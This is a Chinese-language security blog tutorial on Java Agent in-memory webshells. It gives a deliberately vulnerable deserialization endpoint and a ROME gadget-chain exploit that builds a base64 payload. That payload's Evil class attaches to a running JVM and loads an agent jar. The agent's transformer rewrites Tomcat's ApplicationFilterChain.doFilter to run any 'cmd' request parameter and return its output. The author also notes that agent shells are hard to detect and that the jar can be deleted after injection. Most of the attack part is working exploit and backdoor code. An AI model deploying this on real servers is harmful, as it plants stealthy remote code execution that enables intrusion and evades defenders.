在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去
说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain
Java Agent 支持两种方式进行加载:
- 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
- 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
总之,java agent有两种方式进行加载:premain , agentmain
根据官方文档必须实现premain方法,
我们可在命令行利用 -javaagent 来实现启动时加载 premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法 接下来我们来看一下 Demo 首先创建一个类,来实现 premain 的这个方法
弄个DemoTest类
| import java.lang.instrument.Instrumentation; |
| |
| public class DemoTest { |
| public static void premain(String agentArgs, Instrumentation inst) throws Exception{ |
| System.out.println(agentArgs); |
| for(int i=0;i<5;i++){ |
| System.out.println("premain method is invoked!"); |
| } |
| } |
| } |
创建manifest,命名为agent.mf
| Manifest-Version: 1.0 |
| Premain-Class: DemoTest |
随后,使用javac 编译demotest
jar打包,这里使用的是通过mainfest指定preclass的
| jar cvfm agent.jar agent.mf DemoTest.class |
为了测试,我们同理弄一个Hello类如下
| public class Hello { |
| public static void main(String[] args) { |
| System.out.println("Hello,Java"); |
| } |
| } |
Hello.mf
| Manifest-Version: 1.0 |
| Main-Class: Hello |
同样的利用javac编译后打包成hello.jar
| jar cvfm hello.jar Hello.mf Hello.class |
重点来了,-javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数
| java -javaagent:agent.jar[=options] -jar hello.jar |
如果遇到一些报错,可以直接用压缩包软件打开jar修改里面的INF,俺也不造为啥会出这个bug
俺知道了:Creating a JAR File (The Java™ Tutorials > Deployment > Packaging Programs in JAR Files) (oracle.com)
就是最后要加个换行!!!
观察上面的demo,可以知道当我们知道premain的时候,agent.jar就会在程序启动前加载,而我们的=option会成为agentArgs
注意到Instrumentation
Instrumentation Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果 在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据 Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码
在这个 java.lang.instrument.Instrumentation; 包里,
这里有很多方法,我们挑几个重要的讲讲:
| public interface Instrumentation { |
| |
| |
| void addTransformer(ClassFileTransformer transformer); |
| |
| |
| boolean removeTransformer(ClassFileTransformer transformer); |
| |
| |
| void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; |
| |
| |
| boolean isModifiableClass(Class<?> theClass); |
| |
| |
| @SuppressWarnings("rawtypes") |
| Class[] getAllLoadedClasses(); |
| |
| ...... |
| } |
这个方法前面介绍过了,我们仔细观察代码
需要ClassFileTransformer,观察ClassFileTransformer
可以看到需要实现transform
看看别的师傅是如何利用的
在自己写的ClassFileTransformer里面的transform函数自定义恶意代码,就可以被调用
getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
前面介绍了agentmain可以实现启动后加载某某类,实际上是:在获取到了已经运行了的java进程后可以直接attach到那个进程上然后对其进行修改
要求和之前类似,我们需要满足以下条件
- 必须要实现 agentmain 方法
- Jar 文件清单中必须要含有 Premain-Class 属性
而agentmain的语法是
| public static void agentmain (String agentArgs, Instrumentation inst) |
| public static void agentmain (String agentArgs) |
此外,值得注意的是它不是通过命令行参数来加载的,需要用到VirtualMachineDescriptor
和VirtualMachine
。
下面让我们了解一下VirtualMachineDescriptor
和VirtualMachine
。
在这:com.sun.tools.attach
是jdk自带的
VirtualMachine 可以来实现获取系统信息,内存 dump、现成 dump、类信息统计(例如 JVM 加载的类)。
里面配备有几个方法 LoadAgent,Attach 和 Detach 。
下面来看看这几个方法的作用 Attach :该类允许我们通过给 attach 方法传入一个 jvm 的 pid (进程 id),远程连接到 jvm 上
VirtualMachine vm = VirtualMachine.attach(v.id());
loadAgent:向 jvm 注册一个代理程序 agent,在该 agent 的代理程序中会得到一个 Instrumentation 实例,该实例可以 在 class 加载前改变 class 的字节码,也可以在 class 加载后重新加载。在调用 Instrumentation 实例的方法时,这些方法会使用 ClassFileTransformer 接口中提供的方法进行处理。
Detach:从 JVM 上面解除一个代理 (agent)
VirtualMachineDescriptor 是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。
所以最后我们的注入流程大致如下: 这里借用奶思师傅的图片 通过 VirtualMachine 类的 attach (pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent (agentJarPath) 来将 agent 的 jar 包注入到对应的进程,然后对应的进程会调用 agentmain 方法。
下面编写测试demo
AgentMainDemo
| import com.sun.tools.attach.VirtualMachine; |
| import com.sun.tools.attach.VirtualMachineDescriptor; |
| |
| import java.util.List; |
| |
| public class AgentMainDemo { |
| public static void main(String[] args) throws Exception{ |
| String path = "xxxx\\AgentMain.jar"; |
| List<VirtualMachineDescriptor> list = VirtualMachine.list(); |
| for (VirtualMachineDescriptor v:list){ |
| System.out.println(v.displayName()); |
| if (v.displayName().contains("AgentMainDemo")){ |
| |
| VirtualMachine vm = VirtualMachine.attach(v.id()); |
| |
| vm.loadAgent(path); |
| vm.detach(); |
| } |
| } |
| } |
| } |
不过由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar
| public class AgentMainDemo { |
| public static void main(String[] args) { |
| try{ |
| java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); |
| System.out.println(toolsPath.toURI().toURL()); |
| java.net.URL url = toolsPath.toURI().toURL(); |
| java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); |
| Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); |
| Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); |
| java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); |
| java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null); |
| |
| System.out.println("Running JVM Start.."); |
| for(int i=0;i<list.size();i++){ |
| Object o = list.get(i); |
| java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null); |
| String name = (String) displayName.invoke(o,null); |
| System.out.println(name); |
| if (name.contains("AgentMainDemo")){ |
| java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null); |
| java.lang.String id = (java.lang.String) getId.invoke(o,null); |
| System.out.println("id >>> " + id); |
| java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); |
| java.lang.Object vm = attach.invoke(o,new Object[]{id}); |
| java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); |
| java.lang.String path = "C:\\Users\\13728\\IdeaProjects\\Desctf_ljctr\\src\\main\\java\\AgentMain.jar"; |
| loadAgent.invoke(vm,new Object[]{path}); |
| java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null); |
| detach.invoke(vm,null); |
| break; |
| } |
| } |
| } catch (Exception e){ |
| e.printStackTrace(); |
| } |
| } |
| } |

由于正常情况下内存马都是在web应用程序运行后加载的,所以premain的方法用不上了,咱试试agentmain
其实在上文中如何动态修改对应类的字节码已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求
弄个控制器
| package com.example.agent; |
| |
| @Controller |
| public class IndexController { |
| @ResponseBody |
| @RequestMapping({"/"}) |
| public String index() { |
| return "welcome join us.\n it is very easy!"; |
| } |
| |
| @ResponseBody |
| @RequestMapping({"/ctf"}) |
| public String readObject(@RequestParam(name = "data", required = true) String data) throws Exception { |
| byte[] bytes = base64Decode(data); |
| InputStream inputStream = new ByteArrayInputStream(bytes); |
| ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); |
| objectInputStream.readObject(); |
| return "oops!"; |
| } |
| |
| public static byte[] base64Decode(String base64) { |
| Base64.Decoder decoder = Base64.getDecoder(); |
| return decoder.decode(base64); |
| } |
| } |
上面提供了反序列化接口
我们添加一下rome依赖,尝试通过rome链注入agent内存马
(环境搭建详见以前rome的分析,大概就是下个jar包还有pom.xml)
我们先用之前的agent.jar试试:
首先,我们魔改rome链的话,需要重新把templateImp那个地方进行修改。
于是写个Evil.java
| package com.example.demo.menshellattack; |
| |
| import com.sun.org.apache.xalan.internal.xsltc.DOM; |
| import com.sun.org.apache.xalan.internal.xsltc.TransletException; |
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
| import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; |
| import com.sun.org.apache.xml.internal.serializer.SerializationHandler; |
| |
| public class Evil extends AbstractTranslet { |
| static { |
| try{ |
| java.lang.String path = "D:\\test\\agenttest\\agent\\AgentMain.jar"; |
| |
| |
| java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); |
| java.net.URL url = toolsPath.toURI().toURL(); |
| java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); |
| Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); |
| Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); |
| java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); |
| java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine,null); |
| |
| System.out.println("Running JVM list ..."); |
| for(int i=0;i<list.size();i++){ |
| Object o = list.get(i); |
| java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null); |
| java.lang.String name = (java.lang.String) displayName.invoke(o,null); |
| System.out.println(name); |
| |
| |
| |
| if (name.contains("com.example.demo.Demo2Application")){ |
| |
| java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null); |
| java.lang.String id = (java.lang.String) getId.invoke(o,null); |
| System.out.println("id >>> " + id); |
| java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); |
| java.lang.Object vm = attach.invoke(o,new Object[]{id}); |
| java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); |
| loadAgent.invoke(vm,new Object[]{path}); |
| java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null); |
| detach.invoke(vm,null); |
| System.out.println("Agent.jar Inject Success !!"); |
| break; |
| } |
| } |
| } catch (Exception e){ |
| e.printStackTrace(); |
| } |
| |
| } |
| |
| @Override |
| public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { |
| |
| } |
| |
| @Override |
| public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { |
| |
| } |
| } |
这里使用rome链进行注入,注意我里面注释掉的地方,理解一下是怎么注入内存马的
| package com.example.demo.menshellattack; |
| |
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
| import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; |
| import com.sun.syndication.feed.impl.EqualsBean; |
| import com.sun.syndication.feed.impl.ToStringBean; |
| import javassist.ClassPool; |
| import javassist.CtClass; |
| import javassist.CtConstructor; |
| |
| import java.io.*; |
| import java.lang.reflect.Field; |
| import java.util.Base64; |
| import java.util.HashMap; |
| |
| import sun.reflect.*; |
| |
| import javax.xml.transform.Templates; |
| |
| public class romeDemo { |
| |
| public static void setValue(Object target, String name, Object value) throws Exception { |
| Class c = target.getClass(); |
| Field field = c.getDeclaredField(name); |
| field.setAccessible(true); |
| field.set(target,value); |
| } |
| |
| public static byte[] getTemplatesImpl(String cmd) { |
| try { |
| ClassPool pool = ClassPool.getDefault(); |
| CtClass ctClass = pool.makeClass(Evil.class.getName()); |
| |
| |
| |
| |
| |
| |
| |
| |
| byte[] bytes = ctClass.toBytecode(); |
| ctClass.defrost(); |
| return bytes; |
| } catch (Exception e) { |
| e.printStackTrace(); |
| return new byte[]{}; |
| } |
| } |
| |
| public static void serialize(Object obj) throws IOException { |
| ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); |
| oos.writeObject(obj); |
| } |
| |
| public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { |
| ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); |
| Object obj = ois.readObject(); |
| return obj; |
| } |
| |
| public static void main(String[] args) throws Exception { |
| |
| |
| |
| ClassPool pool = ClassPool.getDefault(); |
| CtClass ctClazz = pool.get(Evil.class.getName()); |
| byte[] classBytes = ctClazz.toBytecode(); |
| byte[][] targetByteCodes = new byte[][]{classBytes}; |
| TemplatesImpl templates = TemplatesImpl.class.newInstance(); |
| |
| setValue(templates,"_name", "aaa"); |
| |
| |
| |
| setValue(templates, "_bytecodes", targetByteCodes); |
| setValue(templates,"_tfactory", new TransformerFactoryImpl()); |
| |
| |
| |
| |
| |
| ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl()); |
| |
| |
| EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean); |
| |
| |
| HashMap<Object,Object> map = new HashMap<>(); |
| map.put(equalsBean, "bbb"); |
| setValue(toStringBean, "_obj", templates); |
| |
| |
| ByteArrayOutputStream baos = new ByteArrayOutputStream(); |
| ObjectOutputStream oos = new ObjectOutputStream(baos); |
| oos.writeObject(map); |
| oos.close(); |
| System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); |
| |
| |
| |
| } |
| } |
大概就是另写一个evil类后,直接通过CtClass ctClazz = pool.get(Evil.class.getName());加载它,那就省掉getTemplatesImpl那坨反射自定义的代码了,然后为了保证修改后的代码的正常运行,做如下修改:
| |
| |
| ClassPool pool = ClassPool.getDefault(); |
| CtClass ctClazz = pool.get(Evil.class.getName()); |
| byte[] classBytes = ctClazz.toBytecode(); |
| byte[][] targetByteCodes = new byte[][]{classBytes}; |
| TemplatesImpl templates = TemplatesImpl.class.newInstance(); |
| |
| setValue(templates,"_name", "aaa"); |
| |
| |
| |
| setValue(templates, "_bytecodes", targetByteCodes); |
| setValue(templates,"_tfactory", new TransformerFactoryImpl()); |
注入一下,注意data要url编码
那么如下就是成功了
接下来我们构建一个agent.jar内存马,实现输入参数然后回显rce效果
agent.jar构造
先用idea新建一个项目,选择maven,webapp, maven记得换源
首先新建src目录,写个agent,MyTest.java
| import java.lang.instrument.Instrumentation; |
| |
| public class MyTest { |
| public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain"; |
| |
| public static void agentmain(String agentArgs, Instrumentation ins) { |
| System.out.println("agentmain!"); |
| ins.addTransformer(new DefineTransformer(),true); |
| |
| Class[] classes = ins.getAllLoadedClasses(); |
| for (Class clas:classes){ |
| if (clas.getName().equals(ClassName)){ |
| try{ |
| |
| ins.retransformClasses(new Class[]{clas}); |
| } catch (Exception e){ |
| e.printStackTrace(); |
| } |
| } |
| } |
| } |
| } |
| import javassist.*; |
| |
| import java.lang.instrument.ClassFileTransformer; |
| import java.security.ProtectionDomain; |
| |
| public class DefineTransformer implements ClassFileTransformer { |
| public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain"; |
| |
| @Override |
| public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { |
| className = className.replace("/","."); |
| if (className.equals(ClassName)){ |
| System.out.println("Find the Inject Class: " + ClassName); |
| ClassPool pool = ClassPool.getDefault(); |
| ClassClassPath classPath = new ClassClassPath(classBeingRedefined); |
| pool.appendClassPath(classPath); |
| try { |
| System.out.println("className:"+className); |
| CtClass c = pool.getCtClass(className); |
| CtMethod m = c.getDeclaredMethod("doFilter"); |
| m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" + |
| "javax.servlet.http.HttpServletResponse res = response;\n" + |
| "java.lang.String cmd = request.getParameter(\"cmd\");\n" + |
| "java.lang.String[] cmds = new java.lang.String[]{\"cmd\",\"/c\",cmd};\n"+ |
| "if (cmd != null){\n" + |
| " try {\n" + |
| " java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n" + |
| " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + |
| " String line;\n" + |
| " StringBuilder sb = new StringBuilder(\"\");\n" + |
| " while ((line=reader.readLine()) != null){\n" + |
| " sb.append(line).append(\"\\n\");\n" + |
| " }\n" + |
| " response.getOutputStream().print(sb.toString());\n" + |
| " response.getOutputStream().flush();\n" + |
| " response.getOutputStream().close();\n" + |
| " } catch (Exception e){\n" + |
| " e.printStackTrace();\n" + |
| " }\n" + |
| "}"); |
| byte[] bytes = c.toBytecode(); |
| |
| c.detach(); |
| return bytes; |
| } catch (Exception e){ |
| e.printStackTrace(); |
| } |
| } |
| return new byte[0]; |
| } |
| } |
pom.xml
| <?xml version="1.0" encoding="UTF-8"?> |
| <project xmlns="http://maven.apache.org/POM/4.0.0" |
| xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
| xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> |
| <modelVersion>4.0.0</modelVersion> |
| |
| <groupId>org.example</groupId> |
| <artifactId>untitled</artifactId> |
| <version>1.0-SNAPSHOT</version> |
| |
| <properties> |
| <maven.compiler.source>8</maven.compiler.source> |
| <maven.compiler.target>8</maven.compiler.target> |
| <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> |
| <maven.compiler.source>1.8</maven.compiler.source> |
| <maven.compiler.target>1.8</maven.compiler.target> |
| <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> |
| </properties> |
| <dependencies> |
| <dependency> |
| <groupId>javassist</groupId> |
| <artifactId>javassist</artifactId> |
| <version>3.12.1.GA</version> |
| </dependency> |
| </dependencies> |
| <build> |
| <plugins> |
| <plugin> |
| <artifactId>maven-assembly-plugin</artifactId> |
| <configuration> |
| <descriptors> |
| <descriptor>src/main/resources/assembly.xml</descriptor> |
| </descriptors> |
| <archive> |
| |
| </archive> |
| </configuration> |
| </plugin> |
| </plugins> |
| </build> |
| </project> |
然后新建src/main/resources/下面写assembly.xml
:
| <assembly xmlns="http://maven.apache.org/ASSEMBLY/2.0.0" |
| xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
| xsi:schemaLocation="http://maven.apache.org/ASSEMBLY/2.0.0 |
| http://maven.apache.org/xsd/assembly-2.0.0.xsd"> |
| |
| <id>jar-with-dependencies</id> |
| |
| |
| <formats> |
| <format>jar</format> |
| </formats> |
| |
| <includeBaseDirectory>false</includeBaseDirectory> |
| <dependencySets> |
| <dependencySet> |
| <outputDirectory>/</outputDirectory> |
| <useProjectArtifact>true</useProjectArtifact> |
| <unpack>true</unpack> |
| <scope>runtime</scope> |
| |
| <excludes> |
| <exclude>org.apache.storm:storm-core</exclude> |
| </excludes> |
| </dependencySet> |
| </dependencySets> |
| </assembly> |
然后mvn clean
,mvn assembly:assembly
产生AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar
,再修改里面的MF文件:
| Manifest-Version: 1.0 |
| Can-Redefine-Classes: true |
| Can-Retransform-Classes: true |
| Agent-Class: MyTest |
如果mvn的java的版本不同的话,可以改这里
最后一步,进入到jar包里面检查一下MF文件,把他改成下面这样(规定他的类)
| Manifest-Version: 1.0 |
| Can-Redefine-Classes: true |
| Can-Retransform-Classes: true |
| Agent-Class: MyTest |
然后理论上就可以使用了,但是我报了这个错:
很迷,经过调试,应该是在这里报错的
loadAgent处报错,怀疑是这个jar包的构建存在一些细节没有做好,也有可能是类似于版本不匹配之类的问题
agent在不考虑安全检测的情况下,也可以远程加载jar包,但是大多情况,我们需要将我们自己的 agent.jar 传到目标上,然后利用代码将 agent.jar 进行注入,注入之后我们就可以将 agent.jar 进行删除,agent 内存马相比 filter 这些内存马相对更难查杀一些,这就是agent 内存马相比 filter 内存马会多一步的原因,不过网上也有对应查杀 agent 内存马的文章
文章链接:https://mp.weixin.qq.com/s/Whta6akjaZamc3nOY1Tvxg